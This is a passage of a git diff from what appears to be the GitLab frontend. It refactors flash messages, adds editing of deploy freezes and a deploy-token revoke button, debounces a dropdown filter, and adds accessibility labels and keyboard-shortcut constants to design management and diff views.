this.createMergeRequestButton = this.wrapperEl.querySelector('.js-create-merge-request');
+ this.createMergeRequestLoading = this.createMergeRequestButton.querySelector('.js-spinner');
this.createTargetButton = this.wrapperEl.querySelector('.js-create-target');
this.dropdownList = this.wrapperEl.querySelector('.dropdown-menu');
this.dropdownToggle = this.wrapperEl.querySelector('.js-dropdown-toggle');
@@ -132,7 +132,9 @@ export default class CreateMergeRequestDropdown {
.catch(() => {
this.unavailable();
this.disable();
- Flash(__('Failed to check related branches.'));
+ createFlash({
+ message: __('Failed to check related branches.'),
+ });
});
}
@@ -147,7 +149,11 @@ export default class CreateMergeRequestDropdown {
this.branchCreated = true;
window.location.href = data.url;
})
- .catch(() => Flash(__('Failed to create a branch for this issue. Please try again.')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to create a branch for this issue. Please try again.'),
+ }),
+ );
}
createMergeRequest() {
@@ -163,13 +169,21 @@ export default class CreateMergeRequestDropdown {
this.mergeRequestCreated = true;
window.location.href = data.url;
})
- .catch(() => Flash(__('Failed to create Merge Request. Please try again.')));
+ .catch(() =>
+ createFlash({
+ message: __('Failed to create merge request. Please try again.'),
+ }),
+ );
}
disable() {
this.disableCreateAction();
}
+ setLoading(loading) {
+ this.createMergeRequestLoading.classList.toggle('gl-display-none', !loading);
+ }
+
disableCreateAction() {
this.createMergeRequestButton.classList.add('disabled');
this.createMergeRequestButton.setAttribute('disabled', 'disabled');
@@ -256,7 +270,9 @@ export default class CreateMergeRequestDropdown {
.catch(() => {
this.unavailable();
this.disable();
- new Flash(__('Failed to get ref.'));
+ createFlash({
+ message: __('Failed to get ref.'),
+ });
this.isGettingRef = false;
@@ -376,8 +392,10 @@ export default class CreateMergeRequestDropdown {
this.isCreatingBranch = false;
this.enable();
+ this.setLoading(false);
});
+ this.setLoading(true);
this.disable();
}
diff --git a/app/assets/javascripts/delete_label_modal.js b/app/assets/javascripts/delete_label_modal.js
new file mode 100644
index 00000000000..cf7c9e7734f
--- /dev/null
+++ b/app/assets/javascripts/delete_label_modal.js
@@ -0,0 +1,16 @@
+import Vue from 'vue';
+import DeleteLabelModal from '~/vue_shared/components/delete_label_modal.vue';
+
+const mountDeleteLabelModal = (optionalProps) =>
+ new Vue({
+ render(h) {
+ return h(DeleteLabelModal, {
+ props: {
+ selector: '.js-delete-label-modal-button',
+ ...optionalProps,
+ },
+ });
+ },
+ }).$mount();
+
+export default (optionalProps = {}) => mountDeleteLabelModal(optionalProps);
diff --git a/app/assets/javascripts/deploy_freeze/components/deploy_freeze_modal.vue b/app/assets/javascripts/deploy_freeze/components/deploy_freeze_modal.vue
index d05a0761ae3..051ab710e5f 100644
--- a/app/assets/javascripts/deploy_freeze/components/deploy_freeze_modal.vue
+++ b/app/assets/javascripts/deploy_freeze/components/deploy_freeze_modal.vue
@@ -18,7 +18,6 @@ export default {
modalOptions: {
ref: 'modal',
modalId: 'deploy-freeze-modal',
- title: __('Add deploy freeze'),
actionCancel: {
text: __('Cancel'),
},
@@ -30,10 +29,13 @@ export default {
cronSyntaxInstructions: __(
'Define a custom deploy freeze pattern with %{cronSyntaxStart}cron syntax%{cronSyntaxEnd}',
),
+ addTitle: __('Add deploy freeze'),
+ editTitle: __('Edit deploy freeze'),
},
computed: {
...mapState([
'projectId',
+ 'selectedId',
'selectedTimezone',
'timezoneData',
'freezeStartCron',
@@ -45,9 +47,9 @@ export default {
]),
addDeployFreezeButton() {
return {
- text: __('Add deploy freeze'),
+ text: this.isEditing ? __('Save deploy freeze') : __('Add deploy freeze'),
attributes: [
- { variant: 'success' },
+ { variant: 'confirm' },
{
disabled:
!isValidCron(this.freezeStartCron) ||
@@ -77,9 +79,17 @@ export default {
this.setSelectedTimezone(selectedTimezone);
},
},
+ isEditing() {
+ return Boolean(this.selectedId);
+ },
+ modalTitle() {
+ return this.isEditing
+ ? this.$options.translations.editTitle
+ : this.$options.translations.addTitle;
+ },
},
methods: {
- ...mapActions(['addFreezePeriod', 'setSelectedTimezone', 'resetModal']),
+ ...mapActions(['addFreezePeriod', 'updateFreezePeriod', 'setSelectedTimezone', 'resetModal']),
resetModalHandler() {
this.resetModal();
},
@@ -89,6 +99,13 @@ export default {
}
return '';
},
+ submit() {
+ if (this.isEditing) {
+ this.updateFreezePeriod();
+ } else {
+ this.addFreezePeriod();
+ }
+ },
},
};
</script>
@@ -96,8 +113,9 @@ export default {
<template>
<gl-modal
v-bind="$options.modalOptions"
+ :title="modalTitle"
:action-primary="addDeployFreezeButton"
- @primary="addFreezePeriod"
+ @primary="submit"
@canceled="resetModalHandler"
>
<p>
diff --git a/app/assets/javascripts/deploy_freeze/components/deploy_freeze_table.vue b/app/assets/javascripts/deploy_freeze/components/deploy_freeze_table.vue
index 0d6657973c3..8282f1d910a 100644
--- a/app/assets/javascripts/deploy_freeze/components/deploy_freeze_table.vue
+++ b/app/assets/javascripts/deploy_freeze/components/deploy_freeze_table.vue
@@ -1,7 +1,7 @@
<script>
import { GlTable, GlButton, GlModalDirective, GlSprintf } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
-import { s__, __ } from '~/locale';
+import { s__ } from '~/locale';
export default {
fields: [
@@ -17,9 +17,16 @@ export default {
key: 'cronTimezone',
label: s__('DeployFreeze|Time zone'),
},
+ {
+ key: 'edit',
+ label: s__('DeployFreeze|Edit'),
+ },
],
translations: {
- addDeployFreeze: __('Add deploy freeze'),
+ addDeployFreeze: s__('DeployFreeze|Add deploy freeze'),
+ emptyStateText: s__(
+ 'DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}',
+ ),
},
components: {
GlTable,
@@ -39,7 +46,7 @@ export default {
this.fetchFreezePeriods();
},
methods: {
- ...mapActions(['fetchFreezePeriods']),
+ ...mapActions(['fetchFreezePeriods', 'setFreezePeriod']),
},
};
</script>
@@ -53,15 +60,21 @@ export default {
show-empty
stacked="lg"
>
+ <template #cell(cronTimezone)="{ item }">
+ {{ item.cronTimezone.formattedTimezone }}
+ </template>
+ <template #cell(edit)="{ item }">
+ <gl-button
+ v-gl-modal.deploy-freeze-modal
+ icon="pencil"
+ data-testid="edit-deploy-freeze"
+ :aria-label="__('Edit deploy freeze')"
+ @click="setFreezePeriod(item)"
+ />
+ </template>
<template #empty>
<p data-testid="empty-freeze-periods" class="gl-text-center text-plain">
- <gl-sprintf
- :message="
- s__(
- 'DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}',
- )
- "
- >
+ <gl-sprintf :message="$options.translations.emptyStateText">
<template #strong="{ content }">
<strong>{{ content }}</strong>
</template>
@@ -73,7 +86,7 @@ export default {
v-gl-modal.deploy-freeze-modal
data-testid="add-deploy-freeze"
category="primary"
- variant="success"
+ variant="confirm"
>
{{ $options.translations.addDeployFreeze }}
</gl-button>
diff --git a/app/assets/javascripts/deploy_freeze/store/actions.js b/app/assets/javascripts/deploy_freeze/store/actions.js
index 62045d2517d..56e45595dc5 100644
--- a/app/assets/javascripts/deploy_freeze/store/actions.js
+++ b/app/assets/javascripts/deploy_freeze/store/actions.js
@@ -3,37 +3,53 @@ import { deprecatedCreateFlash as createFlash } from '~/flash';
import { __ } from '~/locale';
import * as types from './mutation_types';
-export const requestAddFreezePeriod = ({ commit }) => {
+export const requestFreezePeriod = ({ commit }) => {
commit(types.REQUEST_ADD_FREEZE_PERIOD);
};
-export const receiveAddFreezePeriodSuccess = ({ commit }) => {
+export const receiveFreezePeriodSuccess = ({ commit }) => {
commit(types.RECEIVE_ADD_FREEZE_PERIOD_SUCCESS);
};
-export const receiveAddFreezePeriodError = ({ commit }, error) => {
+export const receiveFreezePeriodError = ({ commit }, error) => {
commit(types.RECEIVE_ADD_FREEZE_PERIOD_ERROR, error);
};
-export const addFreezePeriod = ({ state, dispatch, commit }) => {
- dispatch('requestAddFreezePeriod');
+const receiveFreezePeriod = (store, request) => {
+ const { dispatch, commit } = store;
+ dispatch('requestFreezePeriod');
- return Api.createFreezePeriod(state.projectId, {
- freeze_start: state.freezeStartCron,
- freeze_end: state.freezeEndCron,
- cron_timezone: state.selectedTimezoneIdentifier,
- })
+ request(store)
.then(() => {
- dispatch('receiveAddFreezePeriodSuccess');
+ dispatch('receiveFreezePeriodSuccess');
commit(types.RESET_MODAL);
dispatch('fetchFreezePeriods');
})
.catch((error) => {
createFlash(__('Error: Unable to create deploy freeze'));
- dispatch('receiveAddFreezePeriodError', error);
+ dispatch('receiveFreezePeriodError', error);
});
};
+export const addFreezePeriod = (store) =>
+ receiveFreezePeriod(store, ({ state }) =>
+ Api.createFreezePeriod(state.projectId, {
+ freeze_start: state.freezeStartCron,
+ freeze_end: state.freezeEndCron,
+ cron_timezone: state.selectedTimezoneIdentifier,
+ }),
+ );
+
+export const updateFreezePeriod = (store) =>
+ receiveFreezePeriod(store, ({ state }) =>
+ Api.updateFreezePeriod(state.projectId, {
+ id: state.selectedId,
+ freeze_start: state.freezeStartCron,
+ freeze_end: state.freezeEndCron,
+ cron_timezone: state.selectedTimezoneIdentifier,
+ }),
+ );
+
export const fetchFreezePeriods = ({ commit, state }) => {
commit(types.REQUEST_FREEZE_PERIODS);
@@ -46,6 +62,13 @@ export const fetchFreezePeriods = ({ commit, state }) => {
});
};
+export const setFreezePeriod = ({ commit }, freezePeriod) => {
+ commit(types.SET_SELECTED_ID, freezePeriod.id);
+ commit(types.SET_SELECTED_TIMEZONE, freezePeriod.cronTimezone);
+ commit(types.SET_FREEZE_START_CRON, freezePeriod.freezeStart);
+ commit(types.SET_FREEZE_END_CRON, freezePeriod.freezeEnd);
+};
+
export const setSelectedTimezone = ({ commit }, timezone) => {
commit(types.SET_SELECTED_TIMEZONE, timezone);
};
diff --git a/app/assets/javascripts/deploy_freeze/store/mutation_types.js b/app/assets/javascripts/deploy_freeze/store/mutation_types.js
index 47a4874a5cf..8e6fdfd4443 100644
--- a/app/assets/javascripts/deploy_freeze/store/mutation_types.js
+++ b/app/assets/javascripts/deploy_freeze/store/mutation_types.js
@@ -6,6 +6,7 @@ export const RECEIVE_ADD_FREEZE_PERIOD_SUCCESS = 'RECEIVE_ADD_FREEZE_PERIOD_SUCC
export const RECEIVE_ADD_FREEZE_PERIOD_ERROR = 'RECEIVE_ADD_FREEZE_PERIOD_ERROR';
export const SET_SELECTED_TIMEZONE = 'SET_SELECTED_TIMEZONE';
+export const SET_SELECTED_ID = 'SET_SELECTED_ID';
export const SET_FREEZE_START_CRON = 'SET_FREEZE_START_CRON';
export const SET_FREEZE_END_CRON = 'SET_FREEZE_END_CRON';
diff --git a/app/assets/javascripts/deploy_freeze/store/mutations.js b/app/assets/javascripts/deploy_freeze/store/mutations.js
index 3b34f3950e6..e62000c007c 100644
--- a/app/assets/javascripts/deploy_freeze/store/mutations.js
+++ b/app/assets/javascripts/deploy_freeze/store/mutations.js
@@ -4,7 +4,11 @@ import * as types from './mutation_types';
const formatTimezoneName = (freezePeriod, timezoneList) =>
convertObjectPropsToCamelCase({
...freezePeriod,
- cron_timezone: timezoneList.find((tz) => tz.identifier === freezePeriod.cron_timezone)?.name,
+ cron_timezone: {
+ formattedTimezone: timezoneList.find((tz) => tz.identifier === freezePeriod.cron_timezone)
+ ?.name,
+ identifier: freezePeriod.cronTimezone,
+ },
});
export default {
@@ -45,10 +49,15 @@ export default {
state.freezeEndCron = freezeEndCron;
},
+ [types.SET_SELECTED_ID](state, id) {
+ state.selectedId = id;
+ },
+
[types.RESET_MODAL](state) {
state.freezeStartCron = '';
state.freezeEndCron = '';
state.selectedTimezone = '';
state.selectedTimezoneIdentifier = '';
+ state.selectedId = '';
},
};
diff --git a/app/assets/javascripts/deploy_freeze/store/state.js b/app/assets/javascripts/deploy_freeze/store/state.js
index 4cc38c097b6..1b16b4c645b 100644
--- a/app/assets/javascripts/deploy_freeze/store/state.js
+++ b/app/assets/javascripts/deploy_freeze/store/state.js
@@ -6,6 +6,7 @@ export default ({
selectedTimezoneIdentifier = '',
freezeStartCron = '',
freezeEndCron = '',
+ selectedId = '',
}) => ({
projectId,
freezePeriods,
@@ -14,4 +15,5 @@ export default ({
selectedTimezoneIdentifier,
freezeStartCron,
freezeEndCron,
+ selectedId,
});
diff --git a/app/assets/javascripts/deploy_tokens/components/revoke_button.vue b/app/assets/javascripts/deploy_tokens/components/revoke_button.vue
new file mode 100644
index 00000000000..e026391ae22
--- /dev/null
+++ b/app/assets/javascripts/deploy_tokens/components/revoke_button.vue
@@ -0,0 +1,81 @@
+<script>
+import { GlButton, GlModal, GlModalDirective, GlSprintf } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlModal,
+ GlSprintf,
+ GlButton,
+ },
+ directives: {
+ GlModal: GlModalDirective,
+ },
+ inject: {
+ token: {
+ default: null,
+ },
+ revokePath: {
+ default: '',
+ },
+ buttonClass: {
+ default: '',
+ },
+ },
+ computed: {
+ modalId() {
+ return `revoke-modal-${this.token.id}`;
+ },
+ },
+ methods: {
+ cancelHandler() {
+ this.$refs.modal.hide();
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-button
+ v-gl-modal="modalId"
+ :class="buttonClass"
+ category="primary"
+ variant="danger"
+ class="float-right"
+ data-testid="revoke-button"
+ >{{ s__('DeployTokens|Revoke') }}</gl-button
+ >
+ <gl-modal ref="modal" :modal-id="modalId">
+ <template #modal-title>
+ <gl-sprintf :message="s__(`DeployTokens|Revoke %{boldStart}${token.name}%{boldEnd}?`)">
+ <template #bold="{ content }"
+ ><b>{{ content }}</b></template
+ >
+ </gl-sprintf>
+ </template>
+ <gl-sprintf
+ :message="s__(`DeployTokens|You are about to revoke %{boldStart}${token.name}%{boldEnd}.`)"
+ >
+ <template #bold="{ content }">
+ <b>{{ content }}</b>
+ </template>
+ </gl-sprintf>
+ {{ s__('DeployTokens|This action cannot be undone.') }}
+ <template #modal-footer>
+ <gl-button category="secondary" @click="cancelHandler">{{ s__('Cancel') }}</gl-button>
+ <gl-button
+ category="primary"
+ variant="danger"
+ :href="revokePath"
+ data-method="put"
+ class="text-truncate"
+ data-testid="primary-revoke-btn"
+ >
+ <gl-sprintf :message="s__('DeployTokens|Revoke %{name}')">
+ <template #name>{{ token.name }}</template>
+ </gl-sprintf>
+ </gl-button>
+ </template>
+ </gl-modal>
+ </div>
+</template>
diff --git a/app/assets/javascripts/deploy_tokens/init_revoke_button.js b/app/assets/javascripts/deploy_tokens/init_revoke_button.js
new file mode 100644
index 00000000000..20187150a60
--- /dev/null
+++ b/app/assets/javascripts/deploy_tokens/init_revoke_button.js
@@ -0,0 +1,26 @@
+import Vue from 'vue';
+import RevokeButton from './components/revoke_button.vue';
+
+export default () => {
+ const containers = document.querySelectorAll('.js-deploy-token-revoke-button');
+
+ if (!containers.length) {
+ return false;
+ }
+
+ return containers.forEach((el) => {
+ const { token, revokePath, buttonClass } = el.dataset;
+
+ return new Vue({
+ el,
+ provide: {
+ token: JSON.parse(token),
+ revokePath,
+ buttonClass,
+ },
+ render(h) {
+ return h(RevokeButton);
+ },
+ });
+ });
+};
diff --git a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js
index b1d486c5d66..8ca4dc587a8 100644
--- a/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js
+++ b/app/assets/javascripts/deprecated_jquery_dropdown/gl_dropdown_filter.js
@@ -2,6 +2,7 @@
import fuzzaldrinPlus from 'fuzzaldrin-plus';
import $ from 'jquery';
+import { debounce } from 'lodash';
import { isObject } from '~/lib/utils/type_utility';
const BLUR_KEYCODES = [27, 40];
@@ -11,13 +12,21 @@ const HAS_VALUE_CLASS = 'has-value';
export class GitLabDropdownFilter {
constructor(input, options) {
let ref;
- let timeout;
this.input = input;
this.options = options;
// eslint-disable-next-line no-cond-assign
this.filterInputBlur = (ref = this.options.filterInputBlur) != null ? ref : true;
const $inputContainer = this.input.parent();
const $clearButton = $inputContainer.find('.js-dropdown-input-clear');
+ const filterRemoteDebounced = debounce(() => {
+ $inputContainer.parent().addClass('is-loading');
+
+ return this.options.query(this.input.val(), (data) => {
+ $inputContainer.parent().removeClass('is-loading');
+ return this.options.callback(data);
+ });
+ }, 500);
+
$clearButton.on('click', (e) => {
// Clear click
e.preventDefault();
@@ -25,7 +34,6 @@ export class GitLabDropdownFilter {
return this.input.val('').trigger('input').focus();
});
// Key events
- timeout = '';
this.input
.on('keydown', (e) => {
const keyCode = e.which;
@@ -41,16 +49,7 @@ export class GitLabDropdownFilter {
}
// Only filter asynchronously only if option remote is set
if (this.options.remote) {
- clearTimeout(timeout);
- // eslint-disable-next-line no-return-assign
- return (timeout = setTimeout(() => {
- $inputContainer.parent().addClass('is-loading');
-
- return this.options.query(this.input.val(), (data) => {
- $inputContainer.parent().removeClass('is-loading');
- return this.options.callback(data);
- });
- }, 250));
+ return filterRemoteDebounced();
}
return this.filter(this.input.val());
});
diff --git a/app/assets/javascripts/design_management/components/delete_button.vue b/app/assets/javascripts/design_management/components/delete_button.vue
index fbcce22ec1e..ae2ce7c3e5e 100644
--- a/app/assets/javascripts/design_management/components/delete_button.vue
+++ b/app/assets/javascripts/design_management/components/delete_button.vue
@@ -63,7 +63,7 @@ export default {
title: s__('DesignManagement|Are you sure you want to archive the selected designs?'),
actionPrimary: {
text: s__('DesignManagement|Archive designs'),
- attributes: { variant: 'warning', 'data-qa-selector': 'confirm_archiving_button' },
+ attributes: { variant: 'confirm', 'data-qa-selector': 'confirm_archiving_button' },
},
actionCancel: {
text: __('Cancel'),
diff --git a/app/assets/javascripts/design_management/components/design_notes/design_note.vue b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
index 2b867217327..833d7081a2c 100644
--- a/app/assets/javascripts/design_management/components/design_notes/design_note.vue
+++ b/app/assets/javascripts/design_management/components/design_notes/design_note.vue
@@ -1,6 +1,7 @@
<script>
import { GlTooltipDirective, GlIcon, GlLink, GlSafeHtmlDirective } from '@gitlab/ui';
import { ApolloMutation } from 'vue-apollo';
+import { __ } from '~/locale';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
@@ -10,6 +11,9 @@ import { findNoteId, extractDesignNoteId } from '../../utils/design_management_u
import DesignReplyForm from './design_reply_form.vue';
export default {
+ i18n: {
+ editCommentLabel: __('Edit comment'),
+ },
components: {
UserAvatarLink,
TimelineEntryItem,
@@ -113,7 +117,8 @@ export default {
v-if="isEditButtonVisible"
v-gl-tooltip
type="button"
- :title="__('Edit comment')"
+ :title="$options.i18n.editCommentLabel"
+ :aria-label="$options.i18n.editCommentLabel"
class="note-action-button js-note-edit btn btn-transparent qa-note-edit-button"
@click="isEditing = true"
>
diff --git a/app/assets/javascripts/design_management/components/design_scaler.vue b/app/assets/javascripts/design_management/components/design_scaler.vue
index 85c6bd4d79e..c9273f97bed 100644
--- a/app/assets/javascripts/design_management/components/design_scaler.vue
+++ b/app/assets/javascripts/design_management/components/design_scaler.vue
@@ -51,8 +51,18 @@ export default {
<template>
<gl-button-group class="gl-z-index-1">
- <gl-button icon="dash" :disabled="disableDecrease" @click="decrementScale" />
- <gl-button icon="redo" :disabled="disableReset" @click="resetScale" />
- <gl-button icon="plus" :disabled="disableIncrease" @click="incrementScale" />
+ <gl-button
+ icon="dash"
+ :disabled="disableDecrease"
+ :aria-label="__('Decrease')"
+ @click="decrementScale"
+ />
+ <gl-button icon="redo" :disabled="disableReset" :aria-label="__('Reset')" @click="resetScale" />
+ <gl-button
+ icon="plus"
+ :disabled="disableIncrease"
+ :aria-label="__('Increase')"
+ @click="incrementScale"
+ />
</gl-button-group>
</template>
diff --git a/app/assets/javascripts/design_management/components/list/item.vue b/app/assets/javascripts/design_management/components/list/item.vue
index 2169c9111d2..b6163491abc 100644
--- a/app/assets/javascripts/design_management/components/list/item.vue
+++ b/app/assets/javascripts/design_management/components/list/item.vue
@@ -137,8 +137,7 @@ export default {
<span :title="icon.tooltip" :aria-label="icon.tooltip">
<gl-icon
:name="icon.name"
- :size="18"
- use-deprecated-sizes
+ :size="16"
:class="icon.classes"
data-qa-selector="design_status_icon"
:data-qa-status="icon.name"
diff --git a/app/assets/javascripts/design_management/components/toolbar/design_navigation.vue b/app/assets/javascripts/design_management/components/toolbar/design_navigation.vue
index 6091a3183ac..3ebcde817f9 100644
--- a/app/assets/javascripts/design_management/components/toolbar/design_navigation.vue
+++ b/app/assets/javascripts/design_management/components/toolbar/design_navigation.vue
@@ -2,11 +2,20 @@
/* global Mousetrap */
import 'mousetrap';
import { GlButton, GlButtonGroup, GlTooltipDirective } from '@gitlab/ui';
+import {
+ keysFor,
+ ISSUE_PREVIOUS_DESIGN,
+ ISSUE_NEXT_DESIGN,
+} from '~/behaviors/shortcuts/keybindings';
import { s__, sprintf } from '~/locale';
import allDesignsMixin from '../../mixins/all_designs';
import { DESIGN_ROUTE_NAME } from '../../router/constants';
export default {
+ i18n: {
+ nextButton: s__('DesignManagement|Go to next design'),
+ previousButton: s__('DesignManagement|Go to previous design'),
+ },
components: {
GlButton,
GlButtonGroup,
@@ -46,11 +55,14 @@ export default {
},
},
mounted() {
- Mousetrap.bind('left', () => this.navigateToDesign(this.previousDesign));
- Mousetrap.bind('right', () => this.navigateToDesign(this.nextDesign));
+ Mousetrap.bind(keysFor(ISSUE_PREVIOUS_DESIGN), () =>
+ this.navigateToDesign(this.previousDesign),
+ );
+ Mousetrap.bind(keysFor(ISSUE_NEXT_DESIGN), () => this.navigateToDesign(this.nextDesign));
},
beforeDestroy() {
- Mousetrap.unbind(['left', 'right'], this.navigateToDesign);
+ Mousetrap.unbind(keysFor(ISSUE_PREVIOUS_DESIGN));
+ Mousetrap.unbind(keysFor(ISSUE_NEXT_DESIGN));
},
methods: {
navigateToDesign(design) {
@@ -73,7 +85,8 @@ export default {
<gl-button
v-gl-tooltip.bottom
:disabled="!previousDesign"
- :title="s__('DesignManagement|Go to previous design')"
+ :title="$options.i18n.previousButton"
+ :aria-label="$options.i18n.previousButton"
icon="angle-left"
class="js-previous-design"
@click="navigateToDesign(previousDesign)"
@@ -81,7 +94,8 @@ export default {
<gl-button
v-gl-tooltip.bottom
:disabled="!nextDesign"
- :title="s__('DesignManagement|Go to next design')"
+ :title="$options.i18n.nextButton"
+ :aria-label="$options.i18n.nextButton"
icon="angle-right"
class="js-next-design"
@click="navigateToDesign(nextDesign)"
diff --git a/app/assets/javascripts/design_management/components/toolbar/index.vue b/app/assets/javascripts/design_management/components/toolbar/index.vue
index 8abf1529f3c..b84fe45b77e 100644
--- a/app/assets/javascripts/design_management/components/toolbar/index.vue
+++ b/app/assets/javascripts/design_management/components/toolbar/index.vue
@@ -1,13 +1,16 @@
<script>
import { GlButton, GlIcon, GlTooltipDirective } from '@gitlab/ui';
import permissionsQuery from 'shared_queries/design_management/design_permissions.query.graphql';
-import { __, sprintf } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import { DESIGNS_ROUTE_NAME } from '../../router/constants';
import DeleteButton from '../delete_button.vue';
import DesignNavigation from './design_navigation.vue';
export default {
+ i18n: {
+ downloadButtonLabel: s__('DesignManagement|Download design'),
+ },
components: {
GlButton,
GlIcon,
@@ -119,7 +122,8 @@ export default {
v-gl-tooltip.bottom
:href="image"
icon="download"
- :title="s__('DesignManagement|Download design')"
+ :title="$options.i18n.downloadButtonLabel"
+ :aria-label="$options.i18n.downloadButtonLabel"
/>
<delete-button
v-if="isLatestVersion && canDeleteDesign"
diff --git a/app/assets/javascripts/design_management/components/upload/button.vue b/app/assets/javascripts/design_management/components/upload/button.vue
index 394ccb3c483..98b7ab5c094 100644
--- a/app/assets/javascripts/design_management/components/upload/button.vue
+++ b/app/assets/javascripts/design_management/components/upload/button.vue
@@ -38,7 +38,8 @@ export default {
"
:disabled="isSaving"
:loading="isSaving"
- variant="default"
+ category="secondary"
+ variant="confirm"
size="small"
@click="openFileUpload"
>
diff --git a/app/assets/javascripts/design_management/index.js b/app/assets/javascripts/design_management/index.js
index f0930ade1b5..aa9f377ef16 100644
--- a/app/assets/javascripts/design_management/index.js
+++ b/app/assets/javascripts/design_management/index.js
@@ -1,6 +1,7 @@
import Vue from 'vue';
import App from './components/app.vue';
import apolloProvider from './graphql';
+import activeDiscussionQuery from './graphql/queries/active_discussion.query.graphql';
import createRouter from './router';
export default () => {
@@ -8,7 +9,8 @@ export default () => {
const { issueIid, projectPath, issuePath } = el.dataset;
const router = createRouter(issuePath);
- apolloProvider.clients.defaultClient.cache.writeData({
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: activeDiscussionQuery,
data: {
activeDiscussion: {
__typename: 'ActiveDiscussion',
diff --git a/app/assets/javascripts/design_management/pages/design/index.vue b/app/assets/javascripts/design_management/pages/design/index.vue
index 8a11c25a795..ad78433c7ce 100644
--- a/app/assets/javascripts/design_management/pages/design/index.vue
+++ b/app/assets/javascripts/design_management/pages/design/index.vue
@@ -2,6 +2,7 @@
import { GlLoadingIcon, GlAlert } from '@gitlab/ui';
import Mousetrap from 'mousetrap';
import { ApolloMutation } from 'vue-apollo';
+import { keysFor, ISSUE_CLOSE_DESIGN } from '~/behaviors/shortcuts/keybindings';
import createFlash from '~/flash';
import { fetchPolicies } from '~/lib/graphql';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -171,7 +172,7 @@ export default {
},
},
mounted() {
- Mousetrap.bind('esc', this.closeDesign);
+ Mousetrap.bind(keysFor(ISSUE_CLOSE_DESIGN), this.closeDesign);
this.trackPageViewEvent();
// Set active discussion immediately.
@@ -180,7 +181,7 @@ export default {
this.updateActiveDiscussionFromUrl();
},
beforeDestroy() {
- Mousetrap.unbind('esc', this.closeDesign);
+ Mousetrap.unbind(keysFor(ISSUE_CLOSE_DESIGN));
},
methods: {
addImageDiffNoteToStore(store, { data: { createImageDiffNote } }) {
diff --git a/app/assets/javascripts/design_management/pages/index.vue b/app/assets/javascripts/design_management/pages/index.vue
index 99ac38fc554..04d80dc0069 100644
--- a/app/assets/javascripts/design_management/pages/index.vue
+++ b/app/assets/javascripts/design_management/pages/index.vue
@@ -379,8 +379,7 @@ export default {
<delete-button
v-if="isLatestVersion"
:is-deleting="loading"
- button-variant="warning"
- button-category="secondary"
+ button-variant="default"
button-class="gl-mr-3"
button-size="small"
data-qa-selector="archive_button"
@@ -485,9 +484,7 @@ export default {
<template #upload-text="{ openFileUpload }">
<gl-sprintf :message="$options.i18n.dropzoneDescriptionText">
<template #link="{ content }">
- <gl-link @click.stop="openFileUpload">
- {{ content }}
- </gl-link>
+ <gl-link @click.stop="openFileUpload">{{ content }}</gl-link>
</template>
</gl-sprintf>
</template>
diff --git a/app/assets/javascripts/diffs/components/app.vue b/app/assets/javascripts/diffs/components/app.vue
index 253e1e3b70e..7c610968209 100644
--- a/app/assets/javascripts/diffs/components/app.vue
+++ b/app/assets/javascripts/diffs/components/app.vue
@@ -3,6 +3,13 @@ import { GlLoadingIcon, GlPagination, GlSprintf } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import Mousetrap from 'mousetrap';
import { mapState, mapGetters, mapActions } from 'vuex';
+import {
+ keysFor,
+ MR_PREVIOUS_FILE_IN_DIFF,
+ MR_NEXT_FILE_IN_DIFF,
+ MR_COMMITS_NEXT_COMMIT,
+ MR_COMMITS_PREVIOUS_COMMIT,
+} from '~/behaviors/shortcuts/keybindings';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { isSingleViewStyle } from '~/helpers/diffs_helper';
import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
@@ -77,6 +84,16 @@ export default {
required: false,
default: '',
},
+ endpointCodequality: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ endpointUpdateUser: {
+ type: String,
+ required: false,
+ default: '',
+ },
projectPath: {
type: String,
required: true,
@@ -153,6 +170,7 @@ export default {
plainDiffPath: (state) => state.diffs.plainDiffPath,
emailPatchPath: (state) => state.diffs.emailPatchPath,
retrievingBatches: (state) => state.diffs.retrievingBatches,
+ codequalityDiff: (state) => state.diffs.codequalityDiff,
}),
...mapState('diffs', [
'showTreeList',
@@ -167,6 +185,7 @@ export default {
'mrReviews',
]),
...mapGetters('diffs', ['whichCollapsedTypes', 'isParallelView', 'currentDiffIndex']),
+ ...mapGetters('batchComments', ['draftsCount']),
...mapGetters(['isNotesFetched', 'getNoteableData']),
diffs() {
if (!this.viewDiffsFileByFile) {
@@ -264,6 +283,7 @@ export default {
endpointMetadata: this.endpointMetadata,
endpointBatch: this.endpointBatch,
endpointCoverage: this.endpointCoverage,
+ endpointUpdateUser: this.endpointUpdateUser,
projectPath: this.projectPath,
dismissEndpoint: this.dismissEndpoint,
showSuggestPopover: this.showSuggestPopover,
@@ -272,6 +292,10 @@ export default {
mrReviews: this.rehydratedMrReviews,
});
+ if (this.endpointCodequality) {
+ this.setCodequalityEndpoint(this.endpointCodequality);
+ }
+
if (this.shouldShow) {
this.fetchData();
}
@@ -316,9 +340,11 @@ export default {
...mapActions('diffs', [
'moveToNeighboringCommit',
'setBaseConfig',
+ 'setCodequalityEndpoint',
'fetchDiffFilesMeta',
'fetchDiffFilesBatch',
'fetchCoverageFiles',
+ 'fetchCodequality',
'startRenderDiffsQueue',
'assignDiscussionsToDiff',
'setHighlightedRow',
@@ -342,14 +368,6 @@ export default {
refetchDiffData() {
this.fetchData(false);
},
- startDiffRendering() {
- requestIdleCallback(
- () => {
- this.startRenderDiffsQueue();
- },
- { timeout: 1000 },
- );
